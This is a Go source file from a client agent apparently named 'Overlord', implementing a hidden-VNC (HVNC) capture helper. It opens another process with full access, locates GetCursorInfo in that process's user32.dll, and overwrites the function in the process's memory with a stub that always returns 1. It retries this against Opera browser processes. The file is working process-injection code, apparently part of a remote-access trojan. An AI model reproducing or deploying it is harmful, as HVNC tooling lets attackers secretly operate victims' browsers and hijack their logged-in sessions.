Files
overlord/Overlord-Client/cmd/agent/capture/hvnc_patch_windows.go
T

164 lines
4.6 KiB
Go

//go:build windows
package capture
import (
"fmt"
"log"
"strings"
"syscall"
"time"
"unsafe"
)
var (
procGetProcAddress = kernel32.NewProc("GetProcAddress")
procLoadLibraryW = kernel32.NewProc("LoadLibraryW")
procVirtualProtectEx = kernel32.NewProc("VirtualProtectEx")
procReadProcessMemory = kernel32.NewProc("ReadProcessMemory")
procEnumProcessModules = psapi.NewProc("EnumProcessModulesEx")
procGetModuleFileNameExW = psapi.NewProc("GetModuleFileNameExW")
)
var psapi = syscall.NewLazyDLL("psapi.dll")
const (
pageExecuteReadWrite = 0x40
listModulesAll = 0x03
)
func patchGetCursorInfo(pid uint32) error {
addr, err := remoteGetProcAddress(pid, "user32.dll", "GetCursorInfo")
if err != nil {
return fmt.Errorf("find GetCursorInfo: %w", err)
}
// mov eax, 1; ret
patch := []byte{0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3}
hProcess, _, callErr := procOpenProcess.Call(uintptr(PROCESS_ALL_ACCESS_INJ), 0, uintptr(pid))
if hProcess == 0 {
return fmt.Errorf("OpenProcess PID %d: %v", pid, callErr)
}
defer procCloseHandle.Call(hProcess)
var oldProtect uint32
ret, _, callErr := procVirtualProtectEx.Call(hProcess, addr, uintptr(len(patch)),
pageExecuteReadWrite, uintptr(unsafe.Pointer(&oldProtect)))
if ret == 0 {
return fmt.Errorf("VirtualProtectEx: %v", callErr)
}
var written uintptr
ret, _, callErr = procWriteProcessMemory.Call(hProcess, addr,
uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)),
uintptr(unsafe.Pointer(&written)))
if ret == 0 {
return fmt.Errorf("WriteProcessMemory: %v", callErr)
}
verify := make([]byte, len(patch))
var read uintptr
procReadProcessMemory.Call(hProcess, addr,
uintptr(unsafe.Pointer(&verify[0])), uintptr(len(verify)),
uintptr(unsafe.Pointer(&read)))
if int(read) == len(patch) {
ok := true
for i := range patch {
if verify[i] != patch[i] {
ok = false
break
}
}
if !ok {
log.Printf("hvnc patch: verification mismatch for PID %d", pid)
}
}
var dummy uint32
procVirtualProtectEx.Call(hProcess, addr, uintptr(len(patch)),
uintptr(oldProtect), uintptr(unsafe.Pointer(&dummy)))
return nil
}
func remoteGetProcAddress(pid uint32, dllName, funcName string) (uintptr, error) {
dllNameUTF16, _ := syscall.UTF16PtrFromString(dllName)
localModule, _, callErr := procLoadLibraryW.Call(uintptr(unsafe.Pointer(dllNameUTF16)))
if localModule == 0 {
return 0, fmt.Errorf("LoadLibrary %s: %v", dllName, callErr)
}
funcNameBytes, _ := syscall.BytePtrFromString(funcName)
localFunc, _, callErr := procGetProcAddress.Call(localModule, uintptr(unsafe.Pointer(funcNameBytes)))
if localFunc == 0 {
return 0, fmt.Errorf("GetProcAddress %s!%s: %v", dllName, funcName, callErr)
}
offset := localFunc - localModule
remoteBase, err := getRemoteModuleBase(pid, dllName)
if err != nil {
return 0, err
}
return remoteBase + offset, nil
}
func getRemoteModuleBase(pid uint32, moduleName string) (uintptr, error) {
hProcess, _, callErr := procOpenProcess.Call(
uintptr(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ), 0, uintptr(pid))
if hProcess == 0 {
return 0, fmt.Errorf("OpenProcess PID %d: %v", pid, callErr)
}
defer procCloseHandle.Call(hProcess)
var modules [1024]uintptr
var cbNeeded uint32
ret, _, callErr := procEnumProcessModules.Call(hProcess,
uintptr(unsafe.Pointer(&modules[0])),
uintptr(len(modules))*unsafe.Sizeof(modules[0]),
uintptr(unsafe.Pointer(&cbNeeded)),
listModulesAll)
if ret == 0 {
return 0, fmt.Errorf("EnumProcessModulesEx: %v", callErr)
}
count := int(cbNeeded) / int(unsafe.Sizeof(modules[0]))
target := strings.ToLower(moduleName)
var nameBuf [260]uint16
for i := 0; i < count; i++ {
n, _, _ := procGetModuleFileNameExW.Call(hProcess, modules[i],
uintptr(unsafe.Pointer(&nameBuf[0])), uintptr(len(nameBuf)))
if n == 0 {
continue
}
fullPath := syscall.UTF16ToString(nameBuf[:n])
baseName := strings.ToLower(fullPath)
if idx := strings.LastIndexByte(baseName, '\\'); idx >= 0 {
baseName = baseName[idx+1:]
}
if baseName == target || baseName == target+".dll" {
return modules[i], nil
}
}
return 0, fmt.Errorf("module %s not found in PID %d", moduleName, pid)
}
func patchOperaAsync(pid uint32, maxRetries int, delay time.Duration) {
for attempt := 0; attempt < maxRetries; attempt++ {
if attempt > 0 {
time.Sleep(delay)
}
if err := patchGetCursorInfo(pid); err != nil {
log.Printf("hvnc patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err)
continue
}
log.Printf("hvnc patch: successfully patched GetCursorInfo in PID %d", pid)
return
}
log.Printf("hvnc patch: all %d attempts failed for PID %d", maxRetries, pid)
}